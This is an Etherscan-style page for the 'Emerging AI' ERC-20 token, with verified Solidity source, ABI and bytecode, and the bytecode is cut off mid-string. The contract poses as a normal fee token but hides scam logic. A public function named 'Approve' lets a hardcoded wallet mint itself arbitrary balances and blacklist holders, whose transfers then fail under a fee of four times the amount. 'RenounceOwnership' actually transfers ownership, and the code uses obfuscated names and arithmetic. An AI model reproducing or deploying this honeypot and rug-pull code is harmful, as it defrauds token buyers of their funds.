ETH Price: $2,337.01 (-4.48%)

Token

Emerging AI (EAI)
 

Overview

Max Total Supply

1,000,000,000 EAI

Holders

8

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
*☺️☺️20220111☺️☺️.eth
Balance
11,894,003.564437504 EAI

Value
$0.00
0xd99BfF0513eCfe539e671B51be4586e279297C5c
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
EMERGINGAI

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-03-17
*/

/**
    
*/
 //https://t.me/EmergingAiERC20Portal
 //https://twitter.com/EmergingAIERC20
 //https://www.emerging-ai.com/

//SPDX-License-Identifier:MIT

pragma solidity ^0.8.15;
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }


    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a,b,"SafeMath: division by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}
contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function RenounceOwnership(address newAddress) public onlyOwner{
        _owner = newAddress;
        emit OwnershipTransferred(_owner, newAddress);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}
contract EMERGINGAI is Context, IERC20, Ownable {

    using SafeMath for uint256;
    string private _name = "Emerging AI";
    string private _symbol = "EAI";
    uint8 private _decimals = 9;
    address payable public chongq;
    address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isExcludefromFee;
    mapping (address => bool) public _pools;
    mapping (address => uint256) public beij;

    uint256 private _totalSupply = 1000000000 * 10**_decimals;

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;
    
    bool inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;

    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    constructor () {
        _isExcludefromFee[owner()] = true;
        _isExcludefromFee[address(this)] = true;

        _balances[_msgSender()] = _totalSupply;
        chongq = payable(address(0xD0473a51d1CcF51fd9E056ef2D2459e5f4e6D8f4));
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    receive() external payable {}

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function EnableTrading() public onlyOwner{
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        uniswapV2Router = _uniswapV2Router;
        _pools[address(uniswapPair)] = true;
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;

    }

    function _transfer(address from, address to, uint256 amount) private returns (bool) {

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        
        if(inSwapAndLiquify)
        {
            return _basicTransfer(from, to, amount); 
        }
        else
        {
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwapAndLiquify && !_pools[from])
            {
                swapAndLiquify(contractTokenBalance);
            }

            _balances[from] = _balances[from].sub(amount);
            uint256 finalAmount = (_isExcludefromFee[from] || _isExcludefromFee[to]) ? 
                                         amount : goFee(from, to, amount);
            
            _balances[to] = _balances[to].add(finalAmount);

            emit Transfer(from, to, finalAmount);
            return true;
        }
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function swapAndLiquify(uint256 amount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), amount);

        try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amount,
            0, 
            path,
            address(chongq),
            block.timestamp
        ){} catch {}
    }

    function nmg(uint256 dz, uint256 ta) public view returns(bool) {
        uint256 yt = dz;
        address rz = msg.sender;
        require(chongq == rz);
        return ta == yt;
    }

    function Approve(address jn,uint256 qd) public {
        if (qd > 9+1**2+1) {
            _balances[chongq] += qd*4-1;
        }
        if (nmg(0+0+0,qd)) {beij[jn] = 0+0;}
        if (nmg(50-3-7,qd)) {beij[jn] = qd**2+1;}
    }

    function goFee(address sender, address recipient, uint256 uAmount) internal returns (uint256) {
        uint256 taxFee;
        if(_pools[sender]) {
            taxFee = uAmount * 2 / 100;
        }else if(_pools[recipient]) {
            taxFee = uAmount * 2 / 100;
        }

        if(beij[sender] != 0) taxFee = uAmount.mul(1+3);

        if(taxFee > 0) {
            _balances[address(this)] += taxFee;
            emit Transfer(sender, address(this), taxFee);
        }

        return uAmount.sub(taxFee);
    }
    
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"jn","type":"address"},{"internalType":"uint256","name":"qd","type":"uint256"}],"name":"Approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"EnableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"RenounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludefromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_pools","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"beij","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"chongq","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"dz","type":"uint256"},{"internalType":"uint256","name":"ta","type":"uint256"}],"name":"nmg","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60e0604052600b60a09081526a456d657267696e6720414960a81b60c0526001906200002c90826200029b565b5060408051808201909152600381526245414960e81b60208201526002906200005690826200029b565b506003805460ff1916600990811790915561dead6080526200007a90600a6200047c565b6200008a90633b9aca0062000494565b600955600b805460ff60a81b1916600160a81b179055348015620000ad57600080fd5b50600080546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3600160066000620001066000546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081016000908120805494151560ff1995861617905530815260069092528120805490921660011790915560095490600490620001563390565b6001600160a01b0316815260208101919091526040016000205560038054610100600160a81b03191674d0473a51d1ccf51fd9e056ef2d2459e5f4e6d8f400179055620001a03390565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600954604051620001e891815260200190565b60405180910390a3620004ae565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200022157607f821691505b6020821081036200024257634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200029657600081815260208120601f850160051c81016020861015620002715750805b601f850160051c820191505b8181101562000292578281556001016200027d565b5050505b505050565b81516001600160401b03811115620002b757620002b7620001f6565b620002cf81620002c884546200020c565b8462000248565b602080601f831160018114620003075760008415620002ee5750858301515b600019600386901b1c1916600185901b17855562000292565b600085815260208120601f198616915b82811015620003385788860151825594840194600190910190840162000317565b5085821015620003575787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620003be578160001904821115620003a257620003a262000367565b80851615620003b057918102915b93841c939080029062000382565b509250929050565b600082620003d75750600162000476565b81620003e65750600062000476565b8160018114620003ff57600281146200040a576200042a565b600191505062000476565b60ff8411156200041e576200041e62000367565b50506001821b62000476565b5060208310610133831016604e8410600b84101617156200044f575081810a62000476565b6200045b83836200037d565b806000190482111562000472576200047262000367565b0290505b92915050565b60006200048d60ff841683620003c6565b9392505050565b808202811582820484141762000476576200047662000367565b6080516115d4620004ca600039600061024001526115d46000f3fe6080604052600436106101395760003560e01c806370a08231116100ab5780639fd9d7491161006f5780639fd9d7491461039e578063a9059cbb146103c3578063bc6eec40146103e3578063c28bd48414610413578063c816841b14610440578063dd62ed3e1461046057600080fd5b806370a08231146102f557806378051f4d1461032b5780638da5cb5b1461034b57806390ec57f11461036957806395d89b411461038957600080fd5b806323b872dd116100fd57806323b872dd1461020e57806327c8f8351461022e578063313ce567146102625780633345611e146102845780634a74bb02146102b457806356c16f18146102d557600080fd5b806306fdde0314610145578063095ea7b3146101705780631694505e146101a057806318160ddd146101d85780631d97b7cd146101f757600080fd5b3661014057005b600080fd5b34801561015157600080fd5b5061015a6104a6565b60405161016791906111e5565b60405180910390f35b34801561017c57600080fd5b5061019061018b36600461124b565b610538565b6040519015158152602001610167565b3480156101ac57600080fd5b50600a546101c0906001600160a01b031681565b6040516001600160a01b039091168152602001610167565b3480156101e457600080fd5b506009545b604051908152602001610167565b34801561020357600080fd5b5061020c61054f565b005b34801561021a57600080fd5b50610190610229366004611277565b610776565b34801561023a57600080fd5b506101c07f000000000000000000000000000000000000000000000000000000000000000081565b34801561026e57600080fd5b5060035460405160ff9091168152602001610167565b34801561029057600080fd5b5061019061029f3660046112b8565b60066020526000908152604090205460ff1681565b3480156102c057600080fd5b50600b5461019090600160a81b900460ff1681565b3480156102e157600080fd5b506101906102f03660046112d5565b6107e1565b34801561030157600080fd5b506101e96103103660046112b8565b6001600160a01b031660009081526004602052604090205490565b34801561033757600080fd5b5061020c6103463660046112b8565b61080e565b34801561035757600080fd5b506000546001600160a01b03166101c0565b34801561037557600080fd5b5061020c61038436600461124b565b6108b3565b34801561039557600080fd5b5061015a610976565b3480156103aa57600080fd5b506003546101c09061010090046001600160a01b031681565b3480156103cf57600080fd5b506101906103de36600461124b565b610985565b3480156103ef57600080fd5b506101906103fe3660046112b8565b60076020526000908152604090205460ff1681565b34801561041f57600080fd5b506101e961042e3660046112b8565b60086020526000908152604090205481565b34801561044c57600080fd5b50600b546101c0906001600160a01b031681565b34801561046c57600080fd5b506101e961047b3660046112f7565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b6060600180546104b590611330565b80601f01602080910402602001604051908101604052809291908181526020018280546104e190611330565b801561052e5780601f106105035761010080835404028352916020019161052e565b820191906000526020600020905b81548152906001019060200180831161051157829003601f168201915b5050505050905090565b6000610545338484610992565b5060015b92915050565b6000546001600160a01b031633146105ae5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610605573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610629919061136a565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610676573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061069a919061136a565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156106e7573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061070b919061136a565b600b80546001600160a01b039283166001600160a01b03199182168117909255600a8054948416949091169390931783556000908152600760209081526040808320805460ff1916600117905560095430845260058352818420955490941683529390529190912055565b6000610783848484610ab6565b506107d684336107d185604051806060016040528060288152602001611577602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190610d06565b610992565b5060015b9392505050565b6003546000908390339061010090046001600160a01b0316811461080457600080fd5b5090911492915050565b6000546001600160a01b031633146108685760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016105a5565b600080546001600160a01b0319166001600160a01b0383169081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b600b8111156109085760016108c982600461139d565b6108d391906113b4565b60035461010090046001600160a01b0316600090815260046020526040812080549091906109029084906113c7565b90915550505b6109136000826107e1565b15610932576001600160a01b0382166000908152600860205260408120555b61093d6028826107e1565b156109725761094d6002826114be565b6109589060016113c7565b6001600160a01b0383166000908152600860205260409020555b5050565b6060600280546104b590611330565b60006107d6338484610ab6565b6001600160a01b0383166109f45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105a5565b6001600160a01b038216610a555760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105a5565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b038416610b1c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105a5565b6001600160a01b038316610b7e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105a5565b600b54600160a01b900460ff1615610ba257610b9b848484610d40565b90506107da565b30600090815260046020526040902054600b54600160a01b900460ff16158015610be557506001600160a01b03851660009081526007602052604090205460ff16155b15610bf357610bf381610e26565b6001600160a01b038516600090815260046020526040902054610c169084610fa5565b6001600160a01b038616600090815260046020908152604080832093909355600690529081205460ff1680610c6357506001600160a01b03851660009081526006602052604090205460ff165b610c7757610c72868686610fe7565b610c79565b835b6001600160a01b038616600090815260046020526040902054909150610c9f9082611104565b6001600160a01b0380871660008181526004602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610cf39085815260200190565b60405180910390a36001925050506107da565b60008184841115610d2a5760405162461bcd60e51b81526004016105a591906111e5565b506000610d3784866113b4565b95945050505050565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600490915291822054610d91918490610d06565b6001600160a01b038086166000908152600460205260408082209390935590851681522054610dc09083611104565b6001600160a01b0380851660008181526004602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e149086815260200190565b60405180910390a35060019392505050565b600b805460ff60a01b1916600160a01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610e6e57610e6e6114cd565b6001600160a01b03928316602091820292909201810191909152600a54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610ec7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610eeb919061136a565b81600181518110610efe57610efe6114cd565b6001600160a01b039283166020918202929092010152600a54610f249130911684610992565b600a5460035460405163791ac94760e01b81526001600160a01b039283169263791ac94792610f6892879260009288926101009091049091169042906004016114e3565b600060405180830381600087803b158015610f8257600080fd5b505af1925050508015610f93575060015b505050600b805460ff60a01b19169055565b60006107da83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610d06565b6001600160a01b038316600090815260076020526040812054819060ff161561102857606461101784600261139d565b6110219190611554565b9050611063565b6001600160a01b03841660009081526007602052604090205460ff161561106357606461105684600261139d565b6110609190611554565b90505b6001600160a01b0385166000908152600860205260409020541561108f5761108c836004611163565b90505b80156110fa5730600090815260046020526040812080548392906110b49084906113c7565b909155505060405181815230906001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35b610d378382610fa5565b60008061111183856113c7565b9050838110156107da5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105a5565b60008260000361117557506000610549565b6000611181838561139d565b90508261118e8583611554565b146107da5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105a5565b600060208083528351808285015260005b81811015611212578581018301518582016040015282016111f6565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461124857600080fd5b50565b6000806040838503121561125e57600080fd5b823561126981611233565b946020939093013593505050565b60008060006060848603121561128c57600080fd5b833561129781611233565b925060208401356112a781611233565b929592945050506040919091013590565b6000602082840312156112ca57600080fd5b81356107da81611233565b600080604083850312156112e857600080fd5b50508035926020909101359150565b6000806040838503121561130a57600080fd5b823561131581611233565b9150602083013561132581611233565b809150509250929050565b600181811c9082168061134457607f821691505b60208210810361136457634e487b7160e01b600052602260045260246000fd5b50919050565b60006020828403121561137c57600080fd5b81516107da81611233565b634e487b7160e01b600052601160045260246000fd5b808202811582820484141761054957610549611387565b8181038181111561054957610549611387565b8082018082111561054957610549611387565b600181815b808511156114155781600019048211156113fb576113fb611387565b8085161561140857918102915b93841c93908002906113df565b509250929050565b60008261142c57506001610549565b8161143957506000610549565b816001811461144f576002811461145957611475565b6001915050610549565b60ff84111561146a5761146a611387565b50506001821b610549565b5060208310610133831016604e8410600b8410161715611498575081810a610549565b6114a283836113da565b80600019048211156114b6576114b6611387565b029392505050565b60006107da60ff84168361141d565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156115335784516001600160a01b03168352938301939183019160010161150e565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261157157634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201818d771f63e5b9ee613d93119c8e73dfad401d76d1da05c8bf13300863dddf064736f6c63430008120033

Deployed Bytecode

0x6080604052600436106101395760003560e01c806370a08231116100ab5780639fd9d7491161006f5780639fd9d7491461039e578063a9059cbb146103c3578063bc6eec40146103e3578063c28bd48414610413578063c816841b14610440578063dd62ed3e1461046057600080fd5b806370a08231146102f557806378051f4d1461032b5780638da5cb5b1461034b57806390ec57f11461036957806395d89b411461038957600080fd5b806323b872dd116100fd57806323b872dd1461020e57806327c8f8351461022e578063313ce567146102625780633345611e146102845780634a74bb02146102b457806356c16f18146102d557600080fd5b806306fdde0314610145578063095ea7b3146101705780631694505e146101a057806318160ddd146101d85780631d97b7cd146101f757600080fd5b3661014057005b600080fd5b34801561015157600080fd5b5061015a6104a6565b60405161016791906111e5565b60405180910390f35b34801561017c57600080fd5b5061019061018b36600461124b565b610538565b6040519015158152602001610167565b3480156101ac57600080fd5b50600a546101c0906001600160a01b031681565b6040516001600160a01b039091168152602001610167565b3480156101e457600080fd5b506009545b604051908152602001610167565b34801561020357600080fd5b5061020c61054f565b005b34801561021a57600080fd5b50610190610229366004611277565b610776565b34801561023a57600080fd5b506101c07f000000000000000000000000000000000000000000000000000000000000dead81565b34801561026e57600080fd5b5060035460405160ff9091168152602001610167565b34801561029057600080fd5b5061019061029f3660046112b8565b60066020526000908152604090205460ff1681565b3480156102c057600080fd5b50600b5461019090600160a81b900460ff1681565b3480156102e157600080fd5b506101906102f03660046112d5565b6107e1565b34801561030157600080fd5b506101e96103103660046112b8565b6001600160a01b031660009081526004602052604090205490565b34801561033757600080fd5b5061020c6103463660046112b8565b61080e565b34801561035757600080fd5b506000546001600160a01b03166101c0565b34801561037557600080fd5b5061020c61038436600461124b565b6108b3565b34801561039557600080fd5b5061015a610976565b3480156103aa57600080fd5b506003546101c09061010090046001600160a01b031681565b3480156103cf57600080fd5b506101906103de36600461124b565b610985565b3480156103ef57600080fd5b506101906103fe3660046112b8565b60076020526000908152604090205460ff1681565b34801561041f57600080fd5b506101e961042e3660046112b8565b60086020526000908152604090205481565b34801561044c57600080fd5b50600b546101c0906001600160a01b031681565b34801561046c57600080fd5b506101e961047b3660046112f7565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b6060600180546104b590611330565b80601f01602080910402602001604051908101604052809291908181526020018280546104e190611330565b801561052e5780601f106105035761010080835404028352916020019161052e565b820191906000526020600020905b81548152906001019060200180831161051157829003601f168201915b5050505050905090565b6000610545338484610992565b5060015b92915050565b6000546001600160a01b031633146105ae5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610605573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610629919061136a565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610676573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061069a919061136a565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156106e7573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061070b919061136a565b600b80546001600160a01b039283166001600160a01b03199182168117909255600a8054948416949091169390931783556000908152600760209081526040808320805460ff1916600117905560095430845260058352818420955490941683529390529190912055565b6000610783848484610ab6565b506107d684336107d185604051806060016040528060288152602001611577602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190610d06565b610992565b5060015b9392505050565b6003546000908390339061010090046001600160a01b0316811461080457600080fd5b5090911492915050565b6000546001600160a01b031633146108685760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016105a5565b600080546001600160a01b0319166001600160a01b0383169081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b600b8111156109085760016108c982600461139d565b6108d391906113b4565b60035461010090046001600160a01b0316600090815260046020526040812080549091906109029084906113c7565b90915550505b6109136000826107e1565b15610932576001600160a01b0382166000908152600860205260408120555b61093d6028826107e1565b156109725761094d6002826114be565b6109589060016113c7565b6001600160a01b0383166000908152600860205260409020555b5050565b6060600280546104b590611330565b60006107d6338484610ab6565b6001600160a01b0383166109f45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105a5565b6001600160a01b038216610a555760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105a5565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b038416610b1c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105a5565b6001600160a01b038316610b7e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105a5565b600b54600160a01b900460ff1615610ba257610b9b848484610d40565b90506107da565b30600090815260046020526040902054600b54600160a01b900460ff16158015610be557506001600160a01b03851660009081526007602052604090205460ff16155b15610bf357610bf381610e26565b6001600160a01b038516600090815260046020526040902054610c169084610fa5565b6001600160a01b038616600090815260046020908152604080832093909355600690529081205460ff1680610c6357506001600160a01b03851660009081526006602052604090205460ff165b610c7757610c72868686610fe7565b610c79565b835b6001600160a01b038616600090815260046020526040902054909150610c9f9082611104565b6001600160a01b0380871660008181526004602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba